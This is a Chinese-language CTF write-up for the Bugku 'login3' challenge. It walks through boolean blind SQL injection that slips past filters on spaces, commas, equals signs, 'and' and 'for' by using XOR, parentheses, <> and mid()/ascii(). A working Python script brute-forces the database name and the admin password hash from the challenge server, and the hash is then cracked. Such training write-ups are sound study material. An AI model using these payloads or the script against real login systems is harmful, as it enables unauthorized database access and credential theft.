Bugku-CTF之login3(SKCTF)(基于布尔的SQL盲注)
Day41
login3(SKCTF)
http://123.206.31.85:49167/
flag格式:SKCTF{xxxxxxxxxxxxx}
hint:基于布尔的SQL盲注
本题要点:异或运算、布尔盲注、过滤
打开是一个登录窗口
用bp抓一下包
发送至repeater
没什么新发现........
随便试试其他用户名,看看回显信息
我们可以发现
当我们随便输入一个用户名“qwe”时, 回显用户名不存在,但并没有对密码进行检验。
当我们输入用户名“admin”时,回显密码错误,则说明 是先查找匹配用户名,如果存在,再验证密码。
试试在用户名admin后加上单引号
结果还是显示用户名不存在,但是并没有报错信息...........
那么,我们猜测后台的验证应该是先查找输入的用户名是否存在
语句大体是这样
select password,username from users where username=”我们输入的用户名”
如果我们在where语句的结尾加上一个and连接的布尔判断语句,就可以根据返回值判断where条件是否成立,这个语句就可以补成:
where username=’admin’ and (substring(database(),1,1)=’a’)
如果返回值是password error,那么就说明where语句是成立的,那么我们补充的那就也是成立的,那么就可以确定数据库的第一位是a,然后再猜测第二位。
额....显示非法字符.......
可能是过滤了and....
继续测试发现....还过滤了空格,逗号,等号,for
空格用括号代替,等号用<>(一种不等号)代替
查阅大佬们的题解.........
发现大佬使用了异或运算^
先说一下异或运算的基本规则:
1^1=0 1^0=1 0^0=0
即 只有两个不同的布尔值运算结果为1
先给出脚本
import requests str_all="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/=" url="http://123.206.31.85:49167/index.php" r=requests.session() def database(): result="" for i in range(30): flag = 0 for j in str_all: payload="admin'^(ascii(mid(database()from({})))<>{})^0#".format(str(i),ord(j)) data = { "username": payload, "password": "123" } s=r.post(url,data) print(payload) if "error" in s.text: result+=j print(result) if flag == 0: break def password(): result="" for i in range(40): flag=0 for j in str_all: payload = "admin'^(ascii(mid((select(password)from(admin))from({})))<>{})^0#".format(str(i+1),ord(j)) data = { "username": payload, "password": "123" } s=r.post(url,data) print(payload) if "error" in s.text: result+=j flag=1 print('**************************',result) if flag==0: break #database() password()
解释一下payload:
"admin'^(ascii(mid(database()from({})))<>{})^0#"
1.为了绕过空格过滤,用括号隔开,过滤了等号,用不等号 <>代替,只要是布尔值就可以。
2.mid()函数和substring()一样,一种写法是mid(xxx,1,1),另一种是mid(xxx,from 1 for 1)但是这里过滤了for和逗号,那么怎么办呢?
因此,这里用到了ascii()取ascii码值的函数,如果传入一个字符串那么就会取第一个字符的字符的ascii码值,这就有了for的作用,并且mid()函数是可以只写from的表示从第几位往后的字符串,我们将取出的字符串在传入ascii()中取第一位,就完成了对单个字符的提取。
3.每个字符的ascii码判断,是否不等于给定的数字,会得到一个布尔值(0或1)再与结尾的0进行运算。
如果数据库名的第一位的ascii码值不是97,where条件是username=’admin’^1^0
返回值是username does not exist!
如果数据库名的第一位的ascii码值是97,where条件是username=’admin’^0^0
返回值会是password error!
这就构成了布尔报错注入。
4. 最后^0的妙用! 因为’admin’^0^0和’admin’^1^1是一样的,我们可以构造后者来看前者成立时的情况。 因为这里即使是语法错误也不会报错,有可能你输入的语句就不可能成立,但你也无法知道。
脚本运行结果:
拿到密码~
md5解密一下!
登录~得到flag
参考资料:
https://www.jianshu.com/p/aa9fabd36de1
--------------------- ┑( ̄Д  ̄)┍ --------------------------
作者:0yst3r[一只在安全领域努力奋斗的小菜鸡]
来源:博客园[ https://www.cnblogs.com/0yst3r-2046/ ] 引用时请注明来源哦~
(๑•̀ㅂ•́)و✧ヽ(✿゚▽゚)ノ(*^▽^*) φ(≧ω≦*)♪
如果本文对你有用,本人不胜欢喜。
The world is your oyster.